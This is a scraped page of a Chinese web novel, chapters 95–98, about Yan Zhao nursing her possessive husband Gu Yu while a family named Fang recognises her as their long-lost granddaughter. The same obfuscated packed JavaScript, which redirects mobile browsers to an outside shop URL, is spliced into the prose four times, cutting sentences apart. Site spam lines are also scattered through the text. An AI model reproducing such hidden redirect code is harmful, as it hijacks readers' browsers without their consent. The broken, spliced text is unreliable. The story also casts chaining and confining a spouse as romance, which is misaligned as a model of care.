言昭轻轻站起来给顾煜掖了一下被子打算回家一趟看看孩子再回来。 她刚走出医院大楼还没走出门口前面忽然站出来两个人。 两个人个子都很高一看就是壮实的男人。 神情还有点着急。 “嫂子！你去哪呀？” 言昭脚步一顿。 一听见这个称呼她就知道是谁的人了。 顾煜单位的人。 她停下来解释了一句：“我想回家一趟孩子也生病了我想去看看。” 那两个人听完明显松了一口气。 他们互相对视了一眼。 然后其中一个笑着开口：“嫂子孩子那边已经安排人去接了人马上就接送到医院。” 言昭很惊讶。 两个人赶紧又补了一句语气还带着点小心。 “嫂子还是别离开医院了顾教授要是醒过来没看到你我们也不好交代。” 言昭本来还以为顾煜睡着了自己总算能自由一会儿。 没想到顾煜睡着了居然还有人替他盯着自己。 可她转念一想 顾煜现在不喜欢她离开他身边。 现在孩子马上要被接过来女儿还没全好现在正好带来医院再看看也算放心一点。 言昭没办法她转身又回了病房。 哪知道门刚推开。 言昭就看到顾煜正跌在床边的地上。 那高大的身影半撑着地明显是刚从床上摔下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338063|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 言昭心脏一下子提了起来。 她几乎是立刻跑过去。 “怎么了？怎么了？” 顾煜整个人几乎是半瘫在地上。 医生给他打的镇定剂药效还没有完全过去他现在一点力气都没有手脚都软得厉害连撑着身 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 体都费劲。 言昭蹲下来，赶紧把他扶起来。 她刚把人抱住，顾煜整个人就往她怀里倒。 那一瞬间，他的手猛地抓住她的衣服。 力气特别大，手也抓得很紧。 顾煜低着头，呼吸有点乱，气息一下一下喷在她耳边。 “昭昭。”他声音有点哑，几乎是有点急地问出来：“你去哪了？” 那语气明显带着急切。 呼吸粗重地落在她耳侧。 言昭被他这么抱着，才后知后觉地意识到，他应该是醒过来没看到自己，所以才从床上下来。 她心里忽然有点庆幸，幸好自己刚才没离开。 言昭伸手拍了拍他的背，语气尽量轻松。 “我就出去溜达了一下，没离开。” 顾煜听见她这句话，整个人明显松了一口气。 刚才一直绷着的那股劲，一下子散了。 他原本还抓着她衣服的手也慢慢松开了一点，整个人是终于放心下来。 紧接着他整个人直接往她身上倒了过去。 顾煜现在一点力气都没有。 高烧刚退，药效还没散，人又从床上摔下来，整个人软得几乎站不住。 言昭被他这么压过来，差点被带得坐到地上。 她赶紧抱住他。 “慢点慢点。” 她一边说，一边用力把人往床边挪。 顾煜整个人都靠在她身上，头埋在她肩膀旁边，呼吸还带着点沉。 言昭几乎是用尽力气，才把他一点点扶回床上。 等顾煜重新躺好，她自己都微微喘了一口气。 床上的人闭着眼，脸色还是有点白。 那张本来就好看的脸，因为病了一场显得更加脆弱。 平时那个冷静、厉害、什么都能掌控的人，现在安安静静躺在那里，看起来竟有点可怜。 第95章 言昭身世呼之欲出 顾煜被她扶回床上之后，人还是有点迷迷糊糊。 镇定剂的药效还没完全散，他的意识明显还没彻底清醒。 他半躺在床上，眼睛半阖着，睫毛低垂着，整个人看起来还带着一点虚弱的倦意。 可他的手还死死抓着言昭的手，生怕她又跑了。 言昭本来想把他的手慢慢拿开，可她刚动了一下，他的手立刻又抓紧了。 顾煜皱着眉，声音低低的，带着点没睡醒的含糊。 “昭昭……”他呼吸还有点重，接着又嘟囔了一句：“你要是离开我，我就死给你看。” 言昭：“？？？” 她整个人都愣了一下。 看着躺在床上半睡半醒的顾煜，差点没反应过来。 这句话在老家都是从一些婶子嘴里天天听见。 没想到现在会从顾煜嘴里说出来—— 就很离谱。 言昭有点哭笑不得。 她看着他那副还没清醒的样子，心里又软又无奈。 没过多久，两个孩子就被送到了医院。 两个阿姨一人抱着一个，小心翼翼带着去做检查。 因为是特定人员，医院这边早就安排好了，一路都有医护人员陪着，旁边还有几个人守着。 言昭其实很想过去。 她心里还是担心孩子，特别是女儿，不知道好了没有。 可言昭又看了一眼床上的顾煜。 她无奈地叹了口气。 要是自己现在走了，这人醒过来估计又要折腾。 言昭只好继续守在床边。 另一边。 两个小娃娃被带去检查，一路上吸引了不少人的目光。 这两个孩子长得确实好看。 几乎是把言昭跟顾煜的优点都占了。 尤其是女儿，长得最像顾煜，小脸圆圆的，五官精致，眼睛又大又亮，怎么看都好看。 儿子则更像言昭一点，眉目柔和，整个人看起来安静一些。 不过两个小家伙都是唇红齿白的，皮肤也白，看起来格外讨喜。 一路上不少人都忍不住夸两句。 “这孩子长得真好看。” “像年画里面的娃娃一样。” 因为两个阿姨身边都有专门的人守着，所以旁人也只是看看，没人能靠近。 正好这时候，方太太也在这边，是陪着老太太过来复查的。 可轮椅上的老太太盯着那个男孩看了好一会儿。 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 然后慢慢笑了一下脸上褶皱多了几分：“这娃娃长得有点像我们的小囡囡。” 方太太顺着老太太的目光看过去。 她原本只是随意扫了一眼可在看清那小男孩的脸之后视线停住了。 那眉眼…… 好像确实有点像。 两个孩子检查完的时候医生说女儿的烧已经完全退了身体没有什么问题只是小孩子体质弱一点回去多注意就好。 言昭听到这句话整个人都松了一口气。 她原本一直提着的心这才落了下来。 她从阿姨怀里把女儿抱过来小姑娘一见到妈妈立刻伸出小手往她身上扑脸上笑得特别开心。 言昭抱着她站在走廊门口一边轻轻晃着她一边逗她说话。 女儿被逗得咯咯直笑小脸红扑扑的声音清脆。 旁边的人看着都忍不住多看两眼。 儿子则还在阿姨怀里。 他不像妹妹那么闹腾小小一团安安静静的睁着大大的眼睛四处看。 那双眼睛又黑又亮。 他的视线正好落在不远处。 那里站着方太太。 方晓正低着头站在旁边一脸委屈跟不甘心明显还在生气。 方太太看着女儿那副样子轻轻叹了一口气。 她刚想开口说点什么视线忽然一顿。 对面那个小男孩正看着这边。 两人的目光正好对上。 那一瞬间。 方太太的心脏猛地跳了一下。 她的目光不由自主地停在孩子脸上。 那眉眼…… 真的好像…… 就在这时候方晓忽然抬起头。 她本来就憋了一肚子气现在看见母亲根本没安慰自己反而盯着别的地方发呆 她声音一下子拔高。 “妈咪！”她语气带着明显的不满：“我今天都被人欺负成这样了你都不安慰我一下！” 方晓喊完那一句情绪彻底绷不住了。 她跺了一下脚转身就跑了。 方太太没有追她的目光还是忍不住落在那两个孩子身上。 尤其是那个男孩。 其实方太太第一次见到言昭的时候就已经让人去打听过这个女生是谁。 就知道是京大一位教授的爱人而且还是童养媳。 再多的事情就打听不到了。 方 你的朋友正在书荒，快去帮帮他吧 太太当时也没往心里去。 毕竟很多事情听起来就不太可能。 可现在站在这里，她忍不住慢慢走了过去。 方太太走到跟前，视线忍不住落在那男孩脸上。 孩子也正看着她。 那双眼睛干净又明亮。 方太太看着看着，心里忽然有点发紧。 她的小囡囡小时候，也是这样的眉眼。 言昭已经看到这位方太太走过来了。 她心里顿时警惕起来。 刚才方晓才在那边闹过，她第一反应就是这人是不是来给自己女儿找场子的。 言昭立刻给阿姨使了个眼色。 阿姨也很快反应过来，抱着两个孩子先进房间了。 言昭也已经想好了，不管这个女人等会说什么，自己都要怼回去。 这一家子，真的是没事找事。 结果没想到—— 方太太走到她面前之后，语气很温和地问了一句：“能不能问问……你今年几岁？” 言昭：“？？？” 她眉头立刻皱起来，当然不会答应：“我跟你认识吗？” 语气一点都不客气。 说完，她转身就走，然后把门关上。 …… 言昭原本以为顾煜退烧之后，最多住一两天就能回家。 可没想到这场病反反复复。 今天烧退了，过一阵又开始低烧，整个人总是昏昏沉沉的。 最让言昭心疼的还是他的头疼。 顾煜只要一皱眉，她就知道又开始了。 她现在已经学会给他按太阳穴和后脑的几个位置，一只手托着他的头，一只手慢慢按着，力道也掌握得越来越好。 顾煜第一次被她按的时候，就知道她已经知道自己头疼这件事了。 那一瞬间他眼神明显沉了一下。 不知道是哪个废物把这件事告诉她的。 他一直没打算让她知道，就是让她不要担心。 不过很快，这点不快就被压下去了。 因为昭昭按得真的很舒服。 她的手指不轻不重地按着，整个人坐在床边，离他很近。 顾煜靠在那里，几乎是半躺在她身上。 这种感觉让他很放松。 他其实很享受。 只是慢慢的，他又有点不对劲了。 言昭确实会照顾他。 会按头，会守着他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338064|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可她的表情又很平常。 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 没有慌，也没有那种特别担心的样子。 顾煜靠在那里，眼睛半眯着看她。 心里忽然又有点不得劲。 她不担心自己，是不是没那么在意他了？ 言昭当然不知道顾煜在想什么。 她只是低头看着他。 刚才还好好的，现在他的脸色忽然沉下来了一点，眉头也轻轻皱着，看起来明显不太舒服。 她立刻以为是又开始头疼了。 言昭的手停了一下，低头凑近他，声音也跟着放轻。 “还疼吗？” 她问得小心翼翼。 顾煜看着她。 那双眼睛很近，里面全是关心。 他心里刚才那点莫名其妙的不舒服忽然又散了一点。 可他还是点了点头。 “疼。” 声音低低的。 言昭立刻皱起眉。 她的手指又重新按上他的太阳穴，动作比刚才更轻了一点。 她现在心里已经开始怀疑医生的话了。 明明检查说脑子没问题。 可顾煜这疼的样子，一看就不像是没事。 另一边。 方太太这边，老太太因为复查住院了，此刻正坐在病床上，脸色难看得很。 老太太一开口语气就冲得厉害：“瞧你收养的什么东西，表面功夫都不会做！人前人后一点规矩都没有！” 话说到这里，老太太眼眶一下子红了，眼泪也跟着落下来，“我的小囡囡要是在就好了…… “我的小囡囡那么小啊，就被人弄丢了。结果现在倒好，收养了这么一个白眼狼！” 病房里一时间安静下来。 方太太站在床边，也是很难受。 丢的也是自己的亲生女儿。 而跟别人家大多是重男轻女不一样，老太太从小就疼她那个女儿疼得不得了。 那孩子走丢之后，老太太几乎是大病了一场，这么多年心里一直过不去。 方太太强忍着情绪，低声说道：“晓晓也来了，只是她知道你不喜欢她，所以只敢远远看你一眼，不敢过来。” 老太太听完冷笑了一声。 “我虽然老了，但我不眼瞎也不耳聋。那白眼狼在医院闹的那么一场，我能不知道？” 方太太的神色顿时变得有些尴尬。 …… 又过了几天。 言昭这几天在医院的日子，几乎跟在家里差不多。 顾煜大多数时间都躺在床上休息，医生说他高烧反复是身体透支太狠，需要慢慢养。 两个孩子白天会被阿姨抱过来看一会儿，晚上再被带回家，医院里不适合小孩子长时间待着。 言昭也没有一直围着顾煜转。 她把书带来了。 每天坐在床边的小桌子旁边学习，翻着初中的课本，一边看一边写。 顾煜则坐在床上看她。 有时候靠着枕头，有时候半躺着，一边看她写字，一边偶尔问两句。 更多的时候，他什么都不说，就那样看着。 言昭觉得这种日子有一种说不出来的安稳。 这天晚上也是一样。 言昭把女儿和儿子送到门口，看着阿姨把两个孩子带走，小姑娘还冲她挥着小手，嘴里咿咿呀呀的。 等人走远了，言昭才转身回去。 她拿着热水壶去热水房接开水。 医院晚上很安静，走廊灯光有点亮。 她刚接满水，正准备往回走。 突然—— “砰！” 一声很响的声音。 第96章 顾煜什么醋都吃 言昭下意识转头看过去。 不远处的地上，一个热水壶已经砸碎了。 玻璃碎片散了一地。 滚烫的热水也泼在地上，还在慢慢冒着热气。 言昭顺着声音看过去。 摔碎热水壶的人，是一个头发已经泛白的老太太。 她站在那里，手还微微抖着，整个人像是被什么吓到了一样，一动不动地看着言昭，眼睛睁得很大，脸上的表情全是震惊。 言昭被她看得有点莫名其妙。 她低头看了一眼地上。 热水壶已经碎得不成样子，玻璃碎片散了一地，热水还在地上慢慢流开，地面湿了一大片。 这要是有人没注意走进来，很容易滑倒或者被碎片扎到。 言昭叹了口气。 她也顾不上这老太太为什么盯着自己看了，先开口说了一句：“老奶奶，你先出去吧，我去叫护士过来扫一下。” 言昭话刚说完，还没来得及转身去找护士。 那老太太忽然动了，根本没看地上的碎片和热水，直接踩了过去。 然后老太太猛地抱住了言昭。 力气大得惊人。 言昭被这一抱，整个人往后晃了一下，差点没站稳。 她下意识伸手去扶墙，另一只手已经本能地想把人推开。 “老奶奶，你——” 话还没说完。 言昭忽然愣了一下。 她在老太太身上闻到了一股味道。 那是一种很熟悉的香味。 老太太抱住她之后，整个人都在发抖，然后哭出声来。 声音又急又哑。 “囡囡——”老太太紧紧抱着言昭，像是生怕一松手人就没了：“我的囡囡啊！奶奶终于找到你了！” 言昭被她抱着，整个人愣了一下。 奶奶？ 她原本还打算把人推开，可听到囡囡这个称呼，她的动作反而停住了。 这个称呼…… 好像也有点熟悉。 可她脑子里一时间又抓不住什么。 言昭低头看着这个抱着自己哭得厉害的老太太，还是开口问了一句：“老奶奶，我们认识吗？” 老太太一听这话，哭得更厉害了：“我怎么可能不认识你！你是我孙女啊！”老太太伸手抓着她的胳膊，仔仔细细看着她的脸。 “你这张脸……跟你姑姑长得一模一样，真的是我家囡囡。” 言昭被她突然抱住的时 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 候，心里猛地慌了一下。 那种慌乱来得很突然，连她自己都说不清楚为什么。 老太太抱得太紧，整个人都在发抖，嘴里还在哭着喊囡囡。 言昭下意识伸手把人推开，她动作有点慌乱，语气也跟着乱了一点：“我怎么可能是你孙女，我没有家里人。 她说着往后退了两步，“我只有我的男人，还有我的孩子。 话刚说完，言昭转身就跑了。 走廊的灯很亮，言昭一路走得很快。 她脑子里第一反应就是觉得奇怪，怎么会有人看着自己就说是她孙女。 她从小就没有什么家里人，这件事她早就习惯了，也从来没人来找过她。 可刚才被那老太太抱住的时候，她又有一种说不出来的感觉。 尤其是那股味道。 那老太太身上的香味很淡，可她闻到的时候却莫名觉得熟悉，好像在哪里闻过。 言昭皱着眉走着，越想越觉得奇怪，可她怎么想都想不起来。 就算是小时候的事情，也不可能这么多年之后，突然有个人出现在自己面前，说她是她孙女。 不不不…… 怎么可能随时随地就有家人找上门，上辈子也没什么家里人来找自己啊！ 现在言昭脑子很混乱，根本不知道自己在想什么。 言昭回到病房的时候，顾煜已经醒了。 他靠在床上，整个人比前几天精神了一点，只是脸色还是有些白。 门刚被推开，他就抬头看了过去，几乎是第一时间就注意到她脸色不对。 顾煜眉头微微皱了一下。 他还没来得及开口问，言昭已经自己先说了。 “刚刚有个人抱着我。她把热水壶放下，还有点没回过神：“一个老太太，突然抱着我哭，还喊我孙女。 顾煜听到这句话的时候，眼神明显停了一下。 他第一时间想到的，就是方家。 这几天他其实已经查过了。 方家当年确实丢过一个孩子，是个女孩，而且年纪和昭昭差不多。 再加上昭昭小时候的出身，本来就是地主家里的孩子，这两件事情放在一起，确实有那么一点可能。 国外现在有一种新的检测方法，可以确认血缘关系，叫脱氧核糖核酸。 他这几天也知道方家有人在医院。 本来他还打算找个机会先接触一下，再想办法取一点样本送去国外检测。 没想到自己 听说看这本书的人都是很幸运的，分享后你的运气会更棒 还没来得及动手，方家那边竟然先看到昭昭。 顾煜伸手把她拉到床边。 “昭昭，坐过来。 言昭被他拉着坐下，他的手握住她的手，掌心很稳，声音也放得很慢。 “你慢慢说，别着急。 言昭原本心里有点乱，被他这样握着手，情绪慢慢也稳下来一点。 她低头想了一会儿，才把刚才的事情一点一点说出来，说那个老太太突然抱住她，哭着喊囡囡，说她是她孙女。 说到这里的时候，言昭已经不像刚才那样慌了。 她安静了一会儿，又忍不住说了一句：“老公，其实还有一件事。 顾煜温柔地看着她，脸上带着好看的笑：“嗯？ 言昭抬头看他，语气有点迟疑：“上次你带我去那个婚宴，不是有个女人跟我吵架吗？那个女人看见我的时候，表情也很奇怪。她看着我的时候……好像很震惊。 顾煜眼神微微一沉。 言昭没注意到，她还在想刚才的事情。 “今天这个老太太也是。她皱着眉回忆了一下，“而且她身上有一股味道，我闻到的时候觉得很熟悉，所以她们真的会是我的家人吗？ 这句话说出来之后，言昭自己都愣了一下。 她立刻又笑了一下。 那笑有点尴尬，也有些慌乱。 言昭摇头：“不可能对不对？那么多年前的事情了，我都长这么大了，怎么可能呢…… 顾煜从头到尾都没有插一句话，他只是安静听着言昭说。 言昭说着说着，两只手已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338065|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不自觉紧紧攥住顾煜的手，她低着头，明显是想掩饰什么。 可顾煜还是看见了，她的眼眶已经慢慢红了。 顾煜什么都没说，只是伸手把人抱进怀里，让她靠在自己胸口。 过了一会儿，他才轻声开口：“我最近知道一点方家的事情，昭昭要不要听？ 言昭沉默了一下，唇瓣轻轻抿了抿，没有立刻说话。 顾煜低头在她头上轻轻亲了一下，语气依旧温和：“方家以前一直在国外，最近才回来的。上次跟你吵架的那个女人，是方家的养女。那个年长一点的，是方太太。 他低头看着怀里人，手还握着她的手，语气依旧很平静：“我有个办法能知道她们到底是不是你的家人，昭昭要不要试试？ 言昭听到这句话，下意识抬起头看他。 “真的吗？ 她的眼睛还有点红，刚才那 听说看这本书的人都是很幸运的，分享后你的运气会更棒 点情绪还没完全散。 顾煜看着她这个反应，低头在她脸颊上亲了一下。 只是他心里有点不太舒服，她接受这件事情，好像有点太快了。 顾煜轻轻叹了一口气，还是说：“真的。” 言昭没有立刻说话，又安静下来。 病房里一时间只剩下很轻的呼吸声。 她低着头，手还被顾煜握着，脑子里又有点乱。 上辈子她过得很惨。 从小到大都是一个人。 没有人护着她，也没有人真正在意她。 这辈子她待在顾煜身边，有他，有孩子，已经像是有了一个家。 让她现在认家人…… 其实言昭总觉得自己是被家里人抛弃的。 顾煜看见她这个样子，心里顿时有点后悔。 他原本只是想把事情说出来，让她心里有个数，没想到反倒让她越想越多。 顾煜伸手把人抱进怀里，手掌在她后背慢慢拍着，声音压得很低：“昭昭，也有可能是她们认错人了，你不要想这么多。我们现在有孩子，你应该多想想孩子，也想想我。” 言昭靠在他怀里，刚才乱成一团的心慢慢平下来一点。她安静了一会儿，才轻轻点了点头，觉得他说得也有道理。 病房里一时间安静下来。 顾煜还抱着她，手掌慢慢在她后背拍着，像是在哄人。 言昭也没有再说话，就这样靠了一会儿，整个人慢慢放松下来。 就在这时。 门外忽然响起敲门声。 言昭从顾煜怀里抬起头，下意识看向门口。 顾煜的手也停了一下，目光跟着落到门上。 言昭条件反射紧张了起来，也不敢去开门。 顾煜从床上下来去开门。 然后言昭看到门外站着两个人。 方太太。 还有刚刚在热水房抱住她的那位老太太。 老太太站在旁边，眼睛红红的，一看就知道刚哭过。 老太太一见到言昭，整个人明显激动了一下，手都微微抖着。 方太太显得克制很多。 她先看了顾煜一眼，然后目光又往病房里扫了一下，很快就看到床上的言昭。 方太太的神情顿时变得客气了一点。 她对言昭轻声开口：“不好意思，打扰一下。我们……能进去说几句话吗？” 第97章 言昭身份开始被调查 言昭还没开口她就听见顾煜拒绝的声音。 “不方便。” 他的语气很平静拒绝得也干脆。 言昭愣了一下下意识抬起头看向顾煜。 顾煜脸色还是透着白 言昭本来心里还有点紧张顾煜这一句话说出来她反而忽然松了一口气。 那种莫名的压力一下子散了不少。 方太太显然也没想到顾煜会直接拒绝。 她目光往病房里看了一眼言昭坐在那里整个人看起来很安静可那种不动声色的排斥很明显。 方太太心里也明白她们这样突然找上门确实有点唐突。 可这件事对家里来说太重要了这关系到自己这么多年一直找不到的女儿。 方太太刚想再开口解释两句。 “我们只是——” 话还没说完。 走廊另一头已经走过来两个人。 两人身形高大走到门口之后直接挡在了方太太和老太太面前。 语气很客气但态度很明显。 “抱歉顾教授需要休息。” 方太太微微一愣。 她原本以为只是一个普通人生病住院没想到门口竟然还站着人守着而且这两个人明显不是医院的护士或者护工。 两人身形高大神色也很冷静一看就不是普通人。 她心里不由想到自己听见的顾煜消息。 这个男人看起来确实年轻。 也不过二十岁出头。 听说是京大的教授。 这个年纪能做到教授确实很厉害。 但方太太在国外待了那么多年也见过不少所谓的天才人物所以一开始其实并没有把这件事太放在心上。 可现在这一幕让她心里多少有点意外。 她本来还想再说两句可那两个人已经很自然地往前站了一点态度依旧客气但意思已经很明显了。 方太太沉默了一下。 她回头看了一眼旁边的老太太。 老太太的目光一直越过顾煜看着病房里面的言昭眼眶又慢慢红了起来。 方太太心里叹了口气知道今天大概是说不上话了。 于是她只好点了点头对顾煜说了一句：“抱歉是我们唐突了。” 说完她扶着老太太慢慢转身离开。 只是老太太走了几步还忍不住回头看了 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 一眼。 那目光落在言昭身上久久没有收回。 言昭看着门口那几个人离开她伸手轻轻拍了拍自己的脑袋。 不想再继续想下去了。 这些事情越想越乱。 不管那几个人是不是自己的家人都已经过去那么多年了而且现在自己已经过了两辈子。 是不是家人好像已经没有那么重要了。 顾煜说得也对。 自己现在已经有了小家。 有孩子也有他。 这些才是最重要的。 想到这里言昭整个人反而轻松了一点她转身回到床边坐下像是把刚才那件事丢到脑后。 顾煜一直在看她。 他原本还以为她会一直想着这件事没想到她竟然这么快就自己放下了。 顾煜心里那点紧绷也慢慢松了。 他其实本来还打算在医院多住几天。 这几天住院对他来说反倒像是意外得到的好日子。 因为昭昭每天都在这里她学习的时候他就看着她她给他按头的时候他就闭着眼享受。 她的视线大部分时间都在自己身上。 …… 第二天一大早顾煜就带着言昭出院了。 两人离开后方家的人上午又过来了。 方太太本来还想着再试一试不管怎样也要把话说清楚。 可当她们刚走到病房门口就发现里面已经空了。 床铺收拾得干干净净她们问了护士才知道人已经出院了。 现在两人手里都紧紧攥着几张照片。 照片有些旧了。 上面有小孩子的也有一些大人的。 这是她们这些年一直留着的照片。 方老太太低头看着照片又想起昨天看到言昭的样子眼眶慢慢红了。 她声音都有些哽。 “肯定是咱们的小囡囡就是她小囡囡肯定在怪咱们 方太太看着母亲这个样子心里也一阵难受。 她点了点头。 “妈你别担心我们肯定能找到的。” 方家很快就开始找人查言昭的住处。 在她们看来这种事情并不难。 只要知道名字再顺着顾煜查过去住在哪里很快就能找到。 方家在国外待了这么多年也习惯了用这种方式做事。 住处确实很快就查到了。 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 可问题是—— 她们进不去。 那竟然是国家单位的小区里面住的人都很重要。 门口还有人守着不是普通门卫进出都要登记还要有单位证明。 外人想进去基本不可能。 方家的人在门口转了两圈也没有任何办法。 更麻烦的是她们在调查顾煜的时候很快就被人注意到了。 顾煜的身份本来就特殊。 他的资料平时就有人盯着一旦有人打听很快就会被察觉。 没多久这件事情就传到了顾煜单位那边。 几个负责的人听到消息的时候还有点惊讶。 “方家？” “在查顾教授的家属？” 他们第一反应还以为是什么麻烦。 可再一打听发现对方是在找遗失的女儿。 几个人对视了一眼表情都有点奇怪。 顾煜这个媳妇他们单位的人多少是知道一点的。 不是说—— 是童养媳吗？ 顾家的背景他们早就查得清清楚楚。 几代都是贫民。 干干净净一点复杂关系都没有。 现在说顾煜的爱人可能是资本家出身这件事就有点严重了。 消息刚确认单位那边很快就成立了调查小组当天就有人过来了。 顾煜对此一点也不意外他早就猜到会有这么一出所以昨晚他特意让言昭多学了一会儿书。 果然今天中午她困得厉害吃完饭没多久就去午睡了。 此刻楼上很安静言昭在房间里睡着一个阿姨抱着孩子在屋里哄着另一个阿姨也抱着孩子在房间里没有出来。 还有一个阿姨站在言昭房门口守着。 楼下客厅里气氛严肃。 顾煜坐在一张木头椅子上他穿着简单的衬衣脸色比前几天好了一些。 整个人依旧安静冷淡。 他面前坐着三个人都是单位派过来的调查人员。 顾煜先开口 对面三个人听完点了点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338066|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种情况在农村其实并不罕见。 很多孩子都是被人捡回来养大的。 顾煜这时从口袋里拿出一个小纸袋放在桌子上。 然后推到他们面前说：“这是我爱人的头发你们正好 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 帮我送到国外去试试那个脱氧核糖核酸，看看是不是能帮我爱人找到家人。” 那三个人听完顾煜的话，自然没有拒绝。 这种事情对他们来说反而更简单，既然顾煜自己愿意配合，还主动把样本拿出来，那很多流程就能省掉不少。 更何况如果最后确认顾煜爱人的家人真的是方家，那事情也不小，他们这边确实也要提前做一些准备。 其中一个人把那个小纸袋收好，点了点头：“这个我们会送出去的。” 顾煜又慢慢说了一句：“还有一件事。” 三个人都看向他。 顾煜语气依旧很平静：“这件事出了结果之前，我希望不要暴露出去。” 那三个人听完都点了点头。 “这个我们懂，在结果出来之前，不会有人知道。” 顾煜这才微微点头。 他又歪了一下脑袋，好像忽然想起什么似的，语气依旧很随意：“那正好，我爱人这件事对你们来说也挺麻烦的。没出结果之前，我就不去单位了。” 这句话一说出来。 对面三个人几乎是同时抬起头。 其中一个人表情都僵了一下：“这个……” 他咳了一声。 “顾教授，我们今天是过来问情况的，可处理不了您的请假条。” 那三个人离开顾煜家之后，车里一时间都没人说话。 过了一会儿，副驾驶的人叹了一口气，揉了揉眉心，说：“我就知道，只要事情跟他媳妇沾边，这祖宗就不可能老实。” 开车的人苦笑了一下：“关键是他要摆烂，我们还真没办法。” 后排那个人看了一眼装着头发的小纸袋，语气有点无奈：“本来是调查他媳妇背景的。” 几个人对视了一眼，都有点头疼。 等他们回到单位把事情汇报上去，办公室里几个领导听完也沉默了一会儿。 有人忍不住拍了一下桌子，说：“这小子！” 语气里明显又气又无奈。 另一个人却很快冷静下来，说：“也不能怪他，换谁媳妇突然可能多出来一堆家人，心里都得乱。” 旁边有人低声补了一句：“关键是他的项目现在停不了。” 这句话一出来，屋里的人都安静了。 顾煜现在手里压着的项目太多，很多关键环节都是他在推。 要是他真的不来单位，那不是一个实验室的问题，而是一连串项目都要卡住。 最后有人叹了一口气，说：“算了，先把这东西送出去，等结果出来再说。” 另一个人也点头：“对，先顺着他一点，他这个人就是这样，只要他爱人那边没事，他很快就会回来工作。” 与此同时，另一边的谢家气氛却完全不同。 谢临的调令已经下来了，要去部队，时间就在这两天。谢首长站在书房里看着自己的儿子，语气很沉：“到了部队好好待着，别再给我惹事。” 谢临站在那里，看起来很平静，点头说：“我知道。” 他这几天表现得很配合，医生让看病他去看，父亲让准备去部队他也没有反抗，甚至看起来比以前还要正常。 第98章 言昭被绑，顾煜发疯 顾煜最后还是被单位叫回去了。 项目那边催得很紧，几个人几乎是轮着打电话，让他回去把几组数据推完。 顾煜虽然脸色依旧不太好，但还是去了单位。 临走之前，他在门口站了一会儿，看着言昭。 这一次，他没有再给她锁脚链。 门关上的时候，言昭还愣了一下，低头看了看自己的脚踝，又跑到门口看了看门锁。 真的没锁。 她整个人一下子高兴起来。 “顾煜竟然没锁我！” 言昭在屋里转了一圈，像捡到什么大便宜一样，脸上的笑都藏不住。 她甚至还跑到窗边看了一眼院子，又回头看着屋子里，整个人高兴得不行。 顾煜临走前回头看了她一眼，看见她因为这么一点小事就高兴成这样，也跟着高兴起来。 看来是真的不能一直把她关着。 只要稍微给她一点自由，她就能这么开心。 顾煜这一天很早就把事情处理完了。 项目那边的数据算出来之后，他就直接离开了单位。 他想早点回家。 推开门的时候，屋子里很安静。 顾煜站在门口停了一下。 “昭昭。” 没人回应。 他又往里走了一步。 “昭昭？” 还是没有声音。 顾煜心里忽然有种很不好的感觉。 他快步走进客厅，厨房，书房，全都看了一遍。 没有人。 他的呼吸瞬间乱了一下。 “昭昭呢？” 顾煜声音已经沉了下来。 三个阿姨站在一旁，本来还在说话，一听到这句话脸色瞬间变了。 其中一个阿姨结结巴巴地说：“太……太太不是在家吗？” 顾煜的眼神猛地冷下来。 他又上楼看了一遍。 房间是空的。 床上没人。 衣服还在。 可人不见了。 顾煜站在楼梯口，整个人像是突然被什么击中了一样，脸色瞬间惨白。 他猛地咳了一声，一口血直接吐在地上，鲜红的血渍溅在地板上。 三个阿姨吓得脸色瞬间惨白。 “顾教授！！！” 